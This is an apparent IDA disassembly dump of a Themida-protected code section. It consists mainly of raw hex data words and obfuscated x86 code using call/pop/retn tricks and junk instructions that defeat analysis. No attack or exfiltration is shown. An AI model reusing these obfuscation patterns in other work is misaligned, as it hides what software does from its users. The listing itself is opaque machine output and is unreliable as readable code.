dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 0CFBF0F0Eh
dd 0DE98166h, 0B70F5071h, 0C595FFD6h, 0F07FA0Dh, 0B589F9B7h
dd 7FA0BC9h, 8B0CC483h, 0FA0089BDh, 41958B07h, 6A07FA16h
dd 806800h, 36A0000h, 6A006Ah, 68h, 5858D80h, 5007FD26h
dd 311D95FFh, 858907FAh, 7FD2F15h, 66585C6h, 684707FAh
dd 0C7B15E87h, 8A5B5FFh, 858D07FAh, 7FA3AE2h, 6AD0FFh
dd 2F15B5FFh, 0D0FF07FDh, 3DFCFA8Bh, 37D0h, 54830Fh, 0B70F0000h
dd 15B5FFCFh, 5207FD2Fh, 5AD6BF0Fh, 21AD95FFh, 6A07FAh
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
dd 0C816B6C3h, 0E181AC77h, 35F6EB74h, 113E9h, 0F9BF0F00h
dd 0C880Fh, 8C0F0000h, 6, 2789958Bh, 0B5FF07FAh, 7FD2F15h
dd 10E9h, 4CD0500h, 0EA781AB0h, 75A2E360h, 92C5BCB9h, 0AD95FF3Dh
dd 6607FA21h, 0E98BD981h, 8B0F006Ah, 6, 294D8D29h, 6A07FAh
dd 2C41BD29h, 6A07FAh, 0B458D0Bh, 0B70F07FAh, 0BF006ACEh
dd 4CA38B3Dh, 8529006Ah, 7FA2305h, 6A006Ah, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 3E133BC3h
dd 2742BE83h, 8531A3A7h, 7FA34C1h, 2F19858Dh, 6A07FDh
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
dd 0E8C977C3h, 6, 0F239826Bh, 89590A64h, 0FA31DDB5h, 8D8B5007h
dd 7FA0B15h, 311D95FFh, 6A07FAh, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1C0424h, 52420000h, 8344C5C3h, 0D0956F7Ch
dd 8D896951h, 7FA234Dh, 0FFFF883h, 17585h, 81665700h, 5F1DE2E9h
dd 0E5A0858Dh, 0E28007FCh, 81D0FF40h, 5249ADAh, 89006A0Ch
dd 0FA242DBDh, 0F006A07h, 1485h, 0FE900h, 60C50000h, 0BB2858F4h
dd 35467DAh, 0A54E331Fh, 66006A40h, 6A36BBB9h, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h
dd 0E3A3A8Eh, 3EC1A277h, 0DE9006Ah, 1F000000h, 0EDF0BCAEh
dd 92B5920Dh, 9725910Dh, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 140424h, 55450000h, 8D892DC3h, 7FA0841h
dd 69CBBF66h, 2F19858Dh, 6A07FDh, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 150424h, 51410000h, 0E92F29C3h, 7, 55776713h
dd 0FCB9080h, 0F550CABFh, 311D95FFh, 2BBA07FAh, 8075B59Bh
dd 0F8835AEAh, 87850FFFh, 6A000000h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 2638C356h
dd 6E71A32Ch, 0FC3159E7h, 2921B58Dh, 8D8B07FDh, 7FA0CA5h
dd 0D38A858Dh, 6A07FCh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1C0424h, 55450000h, 0D3CFC7C3h, 3A0AE4B8h, 816612FEh
dd 0FF4C8BC9h, 85BD8BD0h, 6A07FA07h, 0C5B96600h, 5995010Eh
dd 0FF07FA2Ah, 0FA0EBD95h, 6E95107h, 9D000000h, 5410A75h
dd 8589590Bh, 7FD2F15h, 0FE9h, 0B8A28C00h, 9553A13Dh, 4834821Ch
dd 76BBB462h, 0D799D09h, 6A07FAh, 3D18B66h, 0FA14898Dh
dd 0D858D07h, 8B07FD2Fh, 0FA269DBDh, 860F5007h, 6, 2915BD8Bh
dd 46A07FAh, 0C4CDC781h, 858D1754h, 7FA1505h, 8A0Fh, 0E9500000h
dd 10h, 0C5923D1Bh, 50D648E8h, 0EF9E5AF9h, 293C96B4h, 6A006Ah
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
dd 0BF0FB4C3h, 89006AC9h, 0FA201995h, 8B016A07h, 0FA0B29BDh
dd 15B5FF07h, 0E907FD2Fh, 0Fh, 0DF5D5B74h, 944FD093h, 38041542h
dd 0FF8C79CDh, 0FA2E6195h, 1D84E907h, 89530000h, 0FA31B195h
dd 0C08B5A07h, 1491BD89h, 0BD8307FAh, 7FA2ACDh, 83097500h
dd 0FA1899BDh, 19740007h, 0C08B5350h, 7D2B8h, 0C9858900h
dd 8D07FA20h
dd 0FCE2249Dh, 5BD3FF07h, 99BD8358h, 7FA18h, 53501774h
dd 7D2B8h, 0C9858900h, 8D07FA20h, 0FCDF139Dh, 5BD3FF07h
dd 57006A58h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h
dd 0C3574700h, 0F195896Eh, 8B07FA00h, 56006AC0h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
dd 0EC5763F9h, 8F43DDB4h, 85C7A066h, 7FA33EDh, 1, 68FEB70Fh
dd 0CEE4E7B8h, 0AF5B5FFh, 858D07FAh, 7FA3AE2h, 8589D0FFh
dd 7FA081Dh, 3171858Dh, 8D5007FDh, 0FD342E85h, 1685007h
dd 0FF800000h, 0FA081D95h, 75C00B07h, 0D585C70Ah, 107FA00h
dd 68000000h, 0C005DBD4h, 0AF5B5FFh, 858D07FAh, 7FA3AE2h
dd 8589D0FFh, 7FA1F0Dh, 23BE858Dh, 0FF5007FDh, 0FA08A5B5h
dd 3595FF07h, 0B07FA28h, 8B0B74C0h, 71858DD8h, 5007FD33h
dd 858DD3FFh, 7FD3371h, 9388366h, 85C70A75h, 7FA1CC5h
dd 1, 8C995FFh, 0FF2507FAh, 83000000h, 0A7305F8h, 0D9585C7h
dd 107FAh, 958B0000h, 7FA24EDh, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Dh, 0EEC35646h, 0BF30F16Bh, 99CF0D58h
dd 14E922h, 0DB530000h, 0F2EE04D3h, 6D9EA873h, 3E8A83EAh
dd 0E4C757B4h, 8B0FB97Bh, 6, 305B589h, 0BD8007FAh, 7FD2F80h
dd 23840F00h, 0E9000000h, 7, 0D7D2B64Eh, 0E90C7F73h, 5
dd 29B928D6h, 2ABD8371h, 7FD34h, 14840Fh, 0A3E90000h, 0E900001Bh
dd 0Ah, 0C389F46Fh, 14FAFAC8h, 0BD83B7BDh, 7FA1CC5h, 10850F00h
dd 0E9000001h, 10h, 0CB39ED64h, 39444B1Fh, 6D9AC61Ch, 0E04732Eh
dd 2DE5BD8Bh, 858D07FAh, 7FD2F4Ah, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 17h, 0BCC35242h, 666AAEE5h, 37E0C781h
dd 50D38B66h, 0F58D0B50h, 5907FA18h, 8589016Ah, 7FA34D9h
dd 4BEBF66h, 6AFC006Ah, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1804h, 0C3504000h, 51F65667h, 18D0F57h, 0FC000000h
dd 225995FFh, 6A07FAh, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 180424h, 56460000h, 0BB1366C3h, 8589C8C7h, 7FD2F74h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 28C35343h
dd 9E2399BEh, 43737B76h, 2EABAC5h, 0FF6A3F89h, 0FE9h, 0DFF6AC00h
dd 0B1F19AF2h, 0EB139675h, 0C65A11EAh, 2F74B5FFh, 0E78107FDh
dd 7FD2ACBFh, 287595FFh, 840F07FAh, 3, 8DCBB70Fh, 0FD238585h
dd 56006A07h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h
dd 0C3564600h, 0FDEE29ACh, 57502A32h, 9195CF81h, 0FF5F067Bh
dd 0FA281995h, 6810F07h, 89000000h, 0FA2F4185h, 0F858907h
dd 8D07FD24h, 0FD239285h, 7E907h, 33BE0000h, 3FDE65BFh
dd 13E950E8h, 68000000h, 0BB63BDA8h, 0BAD96F7h, 0EEF97C55h
dd 0A3132E4Dh, 0B5FFD54Eh, 7FD240Fh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Ah, 89C35545h, 3E8760Dh, 95FFECD3h
dd 7FA2835h, 17C98589h, 18BA07FAh, 8D64FB56h, 0FD240085h
dd 47B96607h, 6A50F0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 160424h, 55450000h, 686069C3h, 240FB5FFh, 858907FDh
dd 7FA3165h, 283595FFh, 8D8907FAh, 7FA1491h, 24238589h
dd 6A07FDh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
dd 52420000h, 102AAEC3h, 8172A082h, 92CB9FE2h, 0E020BF06h
dd 858D30B0h, 7FD23DFh, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Ch, 6CC35242h, 0A5E94ABh, 2BC7A47Ch, 35950950h
dd 0FF07FA14h, 0FD240FB5h, 28A0F07h, 0B2000000h, 3595FF44h
dd 5007FA28h, 5F2BDD80h, 241B8589h, 55B507FDh, 23D2858Dh
dd 0BD8B07FDh, 7FA0E8Dh, 0F7816650h, 0B5FF8D71h, 7FD240Fh
dd 6830Fh, 8D8B0000h, 7FA01BDh, 0B81B529h, 95FF07FAh, 7FA2835h
dd 14E8h, 67713A00h, 45D2EC75h, 8A6FE66h, 0DA5603BDh, 8FCFD3B4h
dd 5E832h, 23570000h, 0E9198F7Ch, 14h, 36045B5Dh, 2BA051A9h
dd 0AA82826Ah, 6FE0DD6Bh, 3AE4A8A9h, 8589595Ah, 7FD241Fh
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 5C35545h
dd 8B6F6D15h, 0FA0E99BDh, 0FE907h, 770E0000h, 0A13EC1A2h
dd 604A628Eh, 0D3208B03h, 0ED858DBBh, 6A07FD23h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
dd 0A49EC352h, 66E9BA49h, 0A0BD7F6Ah, 0AF1958Bh, 816607FAh
dd 50431DC2h, 78D950Bh, 0B5FF07FAh, 7FD240Fh, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0F3C35747h, 8A3B3FA7h
dd 38A0FD3h, 66000000h, 95FFFB8Bh, 7FA2835h, 8C0F6060h
dd 0
; ---------------------------------------------------------------------------
mov eax, [ebp+7FA24E5h]
popa
xor [ebp+7FA2915h], eax
popa
mov [ebp+7FA2481h], eax
mov [ebp+7FA2C39h], eax
lea eax, [ebp+7FD23A1h]
or dx, 5D0Dh
push eax
push 0
push eax
call sub_5B8051
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B8051 proc near ; CODE XREF: Themida_:005B8049p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 17h
inc eax
push eax
retn
sub_5B8051 endp
; ---------------------------------------------------------------------------
sti
jl short loc_5B808B
mov cl, 0BAh
cmp al, 20h
popa
dec edi
push dword ptr [ebp+7FD240Fh]
add cx, 1B0h
call dword ptr [ebp+7FA2835h]
call sub_5B8088
clc
setz byte ptr [edx+316DAFFCh]
; =============== S U B R O U T I N E =======================================
sub_5B8088 proc near ; CODE XREF: Themida_:005B807Bp
movsx edx, bx
loc_5B808B: ; CODE XREF: Themida_:005B8062j
pop ecx
mov [ebp+7FD2413h], eax
mov [ebp+7FA0755h], edx
lea eax, [ebp+7FD23B0h]
xor [ebp+7FA238Dh], ecx
push eax
mov ecx, [ebp+7FA10A1h]
push dword ptr [ebp+7FD240Fh]
call dword ptr [ebp+7FA2835h]
and edx, [ebp+7FA16D5h]
mov [ebp+7FD2417h], eax
mov ecx, 159D1BE6h
push 104h
lea eax, [ebp+7FD24A7h]
push 0
push edi
call sub_5B80DE
and [edi-3Dh], bl
sub_5B8088 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5B80DE proc near ; CODE XREF: sub_5B8088+4Ep
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 18h
inc edi
push edi
retn
sub_5B80DE endp
; ---------------------------------------------------------------------------
sti
mov ecx, 5136FD0Ah
and edx, [ebp+7FA29DDh]
pop edi
push eax
mov edi, [ebp+7FA2669h]
mov dx, cx
lea eax, [ebp+7FD25ABh]
jns loc_5B8118
jnb loc_5B8118
clc
loc_5B8118: ; CODE XREF: Themida_:005B810Bj
; Themida_:005B8111j
adc di, 7CE1h
push eax
push 0
push ebx
call sub_5B8129
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B8129 proc near ; CODE XREF: Themida_:005B8121p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 19h
inc ebx
push ebx
retn
sub_5B8129 endp
; ---------------------------------------------------------------------------
db 0E9h, 8Bh, 6
; ---------------------------------------------------------------------------
icebp
inc ebp
retn
; ---------------------------------------------------------------------------
movzx edi, di
call dword ptr [ebp+7FA18C9h]
mov edx, ebx
jmp loc_5B8159
; ---------------------------------------------------------------------------
xor al, 0E5h
xchg eax, esi
inc ebx
db 3Eh
xor edi, [edi]
push edi
test al, 72h
loc_5B8159: ; CODE XREF: Themida_:005B814Aj
test eax, eax
jnz loc_5B817D
call near ptr loc_5B816B+5
mov ecx, 0CB5DAFACh
loc_5B816B: ; CODE XREF: Themida_:005B8161p
sal dword ptr [edx+ebp*2-7274254Bh], cl
or [esi], ecx
cli
pop es
pop ecx
add [ebp+7FA0BEDh], ebx
loc_5B817D: ; CODE XREF: Themida_:005B815Bj
cmp byte ptr [ebp+7FD2F80h], 0
jnz loc_5B81C2
push 0
push eax
call sub_5B8195
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B8195 proc near ; CODE XREF: Themida_:005B818Dp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ch
inc eax
push eax
retn
sub_5B8195 endp
; ---------------------------------------------------------------------------
db 5Eh, 0D8h, 95h
; ---------------------------------------------------------------------------
xchg eax, ebx
db 26h
add eax, 0F9D6BEAh
add dword ptr ds:66000000h, 4EC5C981h
jmp loc_5B97FE
; ---------------------------------------------------------------------------
mov cx, 0E110h
loc_5B81C2: ; CODE XREF: Themida_:005B8184j
cmp dword ptr [ebp+7FA1CC5h], 0
jnz loc_5B81EA
jmp loc_5B81DA
; ---------------------------------------------------------------------------
dd 655AB646h
db 4Bh, 6Ah
; ---------------------------------------------------------------------------
loc_5B81DA: ; CODE XREF: Themida_:005B81CFj
cmp dword ptr [ebp+7FD342Ah], 0
jz loc_5B8227
movzx edi, ax
loc_5B81EA: ; CODE XREF: Themida_:005B81C9j
lea eax, [ebp+7FD2444h]
or [ebp+7FA3455h], ebx
jmp loc_5B97FE
; ---------------------------------------------------------------------------
jmp loc_5B822E
; ---------------------------------------------------------------------------
push 0
push esi
call sub_5B820B
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B820B proc near ; CODE XREF: Themida_:005B8203p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 16h
inc esi
push esi
retn
sub_5B820B endp
; ---------------------------------------------------------------------------
sub cl, al
fisttp dword ptr [ecx-5F9964Bh]
pop es
mov di, bx
loc_5B8227: ; CODE XREF: Themida_:005B81E1j
lea eax, [ebp+7FD242Fh]
clc
loc_5B822E: ; CODE XREF: Themida_:005B81FBj
push eax
movsx edx, bx
mov cx, ax
lea eax, [ebp+7FD24A7h]
clc
movzx ecx, di
push eax
mov edi, 0DBC94F6h
cmp dword ptr [ebp+7FA1CC5h], 0
jz loc_5B8296
jnp loc_5B825E
sub [ebp+7FA1F79h], esi
loc_5B825E: ; CODE XREF: Themida_:005B8252j
jp loc_5B8266
mov edx, ebx
loc_5B8266: ; CODE XREF: Themida_:loc_5B825Ej
lea eax, [ebp+7FD25CDh]
mov edi, [ebp+7FA100Dh]
jmp loc_5B82CB
; ---------------------------------------------------------------------------
jmp loc_5B8284
; ---------------------------------------------------------------------------
dd 0F994FC41h, 0CFACD916h
; ---------------------------------------------------------------------------
loc_5B8284: ; CODE XREF: Themida_:005B8277j
jmp loc_5B8296
; ---------------------------------------------------------------------------
align 2
dw 90F3h
dd 0C100D504h, 0D51E7EECh
; ---------------------------------------------------------------------------
and bl, al
loc_5B8296: ; CODE XREF: Themida_:005B824Cj
; Themida_:loc_5B8284j
lea eax, [ebp+7FD25B6h]
push 0
push ebx
call sub_5B82A7
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B82A7 proc near ; CODE XREF: Themida_:005B829Fp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Bh
inc ebx
push ebx
retn
sub_5B82A7 endp
; ---------------------------------------------------------------------------
mov edx, 51DB39DDh
retn 0EAFEh
; ---------------------------------------------------------------------------
mov ecx, [ebp+7FA2185h]
xor [ebp+7FA0091h], edi
loc_5B82CB: ; CODE XREF: Themida_:005B8272j
push eax
mov [ebp+7FA2F41h], edx
lea eax, [ebp+7FD2605h]
cld
push eax
push 0
push edx
call sub_5B82E5
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B82E5 proc near ; CODE XREF: Themida_:005B82DDp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 19h
inc edx
push edx
retn
sub_5B82E5 endp
; ---------------------------------------------------------------------------
db 0E6h, 34h, 4Ch
dd 0FFF13FBDh, 0FA0DC595h, 6E907h, 0BB780000h, 891BD70Ah
dd 5FD38A53h, 8B10C483h, 60C08BCBh, 2249858Bh, 0B52907FAh
dd 7FA0BC9h, 0CDBD8361h, 7FA2Ah, 0BD830975h, 7FA1899h
dd 50197400h, 0B8C08B53h, 7D3h, 20C98589h, 9D8D07FAh, 7FCE224h
dd 585BD3FFh, 1899BD83h, 740007FAh, 0B8535017h, 7D3h, 20C98589h
dd 9D8D07FAh, 7FCDF13h, 585BD3FFh, 0EE851F5h, 0C4000000h
dd 11166131h, 219D75EEh, 0B95670E1h, 0CEB70F1Fh, 0C08B5F59h
dd 0BD81CE8Ah, 7FD242Fh, 6165726Fh, 0BB840Fh, 858D0000h
dd 7FD24A7h, 0E4858D50h, 5007FD25h, 2605858Dh, 0FF5007FDh
dd 0FA0DC595h, 0CC48307h, 66585C6h, 684407FAh, 96A3184Fh
dd 8A5B5FFh, 858D07FAh, 7FA3AE2h, 0D88BD0FFh, 2605858Dh
dd 0FF5007FDh, 2F858DD3h, 5007FD24h, 24A7858Dh, 835007FDh
dd 0FA1CC5BDh, 8740007h, 25CD858Dh, 6EB07FDh, 25B6858Dh
dd 8D5007FDh, 0FD260585h, 95FF5007h, 7FA0DC5h, 6A10C483h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h
dd 40000000h, 676FC350h, 6A2490D3h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 14042444h, 40000000h, 8B18C350h
dd 0FA08D18Dh, 0C995FF07h, 8107FA08h, 3DF39AE9h, 0FF2567h
dd 83F80000h, 830F05F8h, 52h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Bh, 5BC35747h, 2F49B3BAh, 660F0AA3h
dd 85C7D68Bh, 7FA0D95h, 1, 2FE9BF66h, 2463858Dh, 8D0B07FDh
dd 7FA2A9Dh, 8BE9h, 7880F00h, 0F000000h, 180h, 0BD83FC00h
dd 7FA1CC5h, 49840F00h, 8B000000h, 0FA18618Dh, 8E858D07h
dd 0F07FD24h, 0E87h, 85036000h, 7FA0D61h, 840Fh, 0E9610000h
dd 4Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h
dd 0BAC35343h, 365EE80Bh, 0F8B70F93h, 2470858Dh, 6A07FDh
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
dd 0EB331C3h, 391589CEh, 24A38589h, 958907FDh, 7FA2215h
dd 1CC5BD83h, 0F0007FAh, 1585h, 0BF0F5600h, 0BD835AFBh
dd 7FD342Ah, 0E840F00h, 80000000h, 87E99FC6h, 2B000012h
dd 0FA316D95h, 4CDE907h, 0BD2B0000h, 7FA238Dh, 6AC08Bh
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
dd 601CD3C3h, 8387CAE5h, 0FA2ACDBDh, 9750007h, 1899BD83h
dd 740007FAh, 8B535019h, 7D4B8C0h, 85890000h, 7FA20C9h
dd 0E2249D8Dh, 0D3FF07FCh, 0BD83585Bh, 7FA1899h, 50177400h
dd 7D4B853h, 85890000h, 7FA20C9h, 0DF139D8Dh, 0D3FF07FCh
dd 8D89585Bh, 7FA0829h, 5E9h, 5C740500h, 0C08B655Bh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0D7C35343h, 0DCA9CBE3h
dd 0B30ACF28h, 12E8h, 9A23B500h, 37A17998h, 3A43B276h
dd 2E21409Dh, 0F3E517Fh, 685FD3B7h, 0F003Fh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0B5C35646h, 66006AD9h
dd 6A7D7EB9h, 12E800h, 490A0000h, 0B5179A90h, 6390A885h
dd 69BEF85Ch, 6FF06E70h, 5966E980h, 17C995FFh, 10E907FAh
dd 0BA000000h, 0E1B68F13h, 5946AA7Fh, 0D62F36C2h, 858FBF3Dh
dd 850FC0h, 89000000h, 0FD242785h, 57006A07h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 0B1E2CF70h
dd 0F006AE5h, 1E84h, 18830F00h, 0E9000000h, 13h, 8D28BA4Eh
dd 4AD57650h, 0FCA228D9h, 5BFB004Fh, 6ADDBDCAh, 95B52900h
dd 6A07FA1Eh, 958D8B00h, 6A07FA01h, 6A006A00h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
dd 7597C352h, 7EA9AD9Ch, 5858DFCh, 8B07FD26h, 0FA0EA995h
dd 6A5007h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
dd 53430000h, 0ECE0E4C3h, 0B4A8ADB9h, 8B016A52h, 0FA17C1BDh
dd 5E907h, 67840000h, 6A9AF3EEh, 0B966FC01h, 16A361Bh
dd 0F01FF68h, 99858900h, 8307FA10h, 0FA1CC5BDh, 840F0007h
dd 1Dh, 0AB6B6FBAh, 84858D3Ch, 6607FD24h, 0E06ACF81h, 14E9h
dd 89D78B00h, 0FA23A585h, 5A858D07h, 8907FD24h, 0FA1CE1B5h
dd 8D8B5007h, 7FA26E9h, 0B5FFF550h, 7FD2427h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 89C35242h, 6D4C84F7h
dd 59926900h, 0FFC8BF0Fh, 0FD241395h, 6850F07h, 23000000h
dd 0FA26F9BDh, 0FC08507h, 5385h, 56006A00h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 0FE8604Ch
dd 54000000h, 0CFE29CF4h, 40177FC4h, 4F748EDBh, 0AE9F2E8h
dd 0A3000000h, 46A0D618h, 0DF30D117h, 8D0B588Ch, 7FA2C39h
dd 0B4E961h, 958B0000h, 7FA104Dh, 242B8589h, 952307FDh
dd 7FA1641h, 242BB5FFh, 6A07FDh, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1C0424h, 55450000h, 145DCEC3h, 0A633F7CEh
dd 7E9BFEBh, 0EF000000h, 0BB55E828h, 880FE0F1h, 2Fh, 11E8h
dd 0A9488100h, 466CD383h, 3462C8BBh, 0B310A1E8h, 13E9D73Fh
dd 0AE000000h, 5B13068Dh, 0C7DEFDA2h, 80B36335h, 38DEF44Eh
dd 0FF5A4317h, 0FA248195h, 4BBF5707h, 5F067ABBh, 850FC085h
dd 22h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h
dd 98C35545h, 7F1BD8Bh, 106A07FAh, 0BD83CF8Ah, 7FA1CC5h
dd 35840F00h, 0E9000000h, 12h, 0C30A7F81h, 2C4C9543h, 1662E221h
dd 0FC1C2FDCh, 858D9221h, 7FD2484h, 23D9B589h, 30E907FAh
dd 0E8000000h, 7, 0DD1535A9h, 5A8DBDFAh, 245A858Dh, 6A07FDh
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
dd 50D6F1C3h, 0C9BD8960h, 0F07FA14h, 583h, 0D0816600h
dd 0FF610ECFh, 0FD2427B5h, 418D8907h, 0FF07FA2Fh, 0FD241F95h
dd 13E807h, 77BE0000h, 664AE052h, 6325A575h, 0D3F837E3h
dd 52FAF0B3h, 2840FA5h, 56000000h, 0C0855A5Fh, 6850Fh
dd 0BD8B0000h, 7FA00A1h, 242B8589h, 6A07FDh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 71C35141h, 6A69DBh
dd 0F9B70F60h, 2BB5FF61h, 0F07FD24h, 683h, 41953100h, 0FF07FA08h
dd 0FD241795h, 3757BF07h, 0C08536FBh, 5850Fh, 81660000h
dd 0FFBC98CAh, 0FD242BB5h, 0D9D8907h, 8907FA1Dh, 0FA25759Dh
dd 8195FF07h, 8B07FA24h, 0FA17E1BDh, 0FC08507h, 685h, 0B98D8B00h
dd 6A07FA17h, 0E98D8B00h, 6807FA0Dh, 80h, 10C1958Bh, 36A07FAh
dd 2349BD89h, 6A07FAh, 5800Fh, 81660000h, 6AB97EF7h, 51C18100h
dd 685F7D3Bh, 0C0000000h, 68A0Fh, 0C1810000h, 3760B10Fh
dd 24A3B5FFh, 816607FDh, 0FFA7E9E9h, 0FA311D95h, 0D18B6607h
dd 2709BD29h, 0F88307FAh, 9C850FFFh, 0F000005h, 583h, 0C2816600h
dd 85FF8ADAh, 7FD2F11h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 19h, 1FC35242h, 0AC008A85h, 11BD83C4h, 207FD2Fh
dd 430840Fh, 6A0000h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
dd 0C49262C3h, 16718D31h, 858D07FAh, 5B243Bh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 89C35646h, 8BD8590Ch
dd 0FA27598Dh, 89D0FF07h, 0FA0E198Dh, 8E858D07h, 81005B1Eh
dd 219541D7h, 0BFD0FF64h, 3045734Bh, 0CE8h, 620BE400h
dd 6B7E0365h, 0DFA56721h, 0F99529EBh, 5907FA16h, 3360C08Bh
dd 0FA064DB5h, 6E807h, 0B6370000h, 0AB890CD9h, 8A0Fh, 615E0000h
dd 2ACDBD83h, 750007FAh, 99BD8309h, 7FA18h, 53501974h
dd 0D8B8C08Bh, 89000007h, 0FA20C985h, 249D8D07h, 0FF07FCE2h
dd 83585BD3h, 0FA1899BDh, 17740007h, 0D8B85350h, 89000007h
dd 0FA20C985h, 139D8D07h, 0FF07FCDFh, 6A585BD3h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
dd 5C97C350h, 258D8BACh, 0F07FA0Fh, 158Ah, 10E900h, 54FB0000h
dd 0C663337h, 0D0A030ACh, 1E42FF32h, 0E8F58371h, 0Ch, 8F5F47A6h
dd 79BD8E42h, 1CC061Ch, 18D5B529h, 8B5F07FAh, 0B58956C0h
dd 7FA10C1h, 3F6859h, 0CE8B000Fh, 6AF9006Ah, 0E9816600h
dd 95FF0AF0h, 7FA17C9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 17h, 65C35343h, 8BF06836h, 0FA0CE98Dh, 0FC08507h
dd 8589D2B7h, 7FD2427h, 5870Fh, 0EEB90000h, 68562807h
dd 0F01FFh, 0EA5958Bh, 0BD8307FAh, 7FA1CC5h, 1E840F00h
dd 89000000h, 0FA01199Dh, 0C087B907h, 858D7403h, 7FD2484h
dd 8518D8Bh, 8E907FAh, 8B000000h, 5A858DFAh, 5007FD24h
dd 0FF5BD03h, 0B5FF07FAh, 7FD2427h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 19h, 0AC35646h, 95F9B503h, 29958BBAh
dd 0FF07FA18h, 0FD241F95h, 69BD8907h, 8907FA1Eh, 0FD242B85h
dd 53006A07h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h
dd 0C3534300h, 0F3E2585Eh, 0E9D4B16Eh, 5, 6A591EDAh, 0CE8B6678h
dd 229585C7h, 7FAh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 160424h, 53430000h, 0A5ABEBC3h, 8E0FCF8Bh
dd 2, 0BD83F88Bh, 7FD242Bh, 9A840F00h, 6A000001h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
dd 9E37C350h, 0EBE63A62h, 9509AEB1h, 7FA2D61h, 2709858Dh
dd 0BD8B07FDh, 7FA0BD9h, 0FDBD3350h, 8907FA21h, 0FA1DDDBDh
dd 0BA016A07h, 442280F4h, 242BB5FFh, 12E907FDh, 0FD000000h
dd 89226C6Fh, 0F224B2D1h, 0BCBA7AA1h, 4FA7035Ch, 2395FF85h
dd 6607FD24h, 0B5FFCE8Bh, 7FD242Bh, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 18h, 9C35747h, 6C6D0051h, 0F21BD01h
dd 9CB507FAh, 248195FFh, 6A07FAh, 3E856h, 5E200000h, 74895EC3h
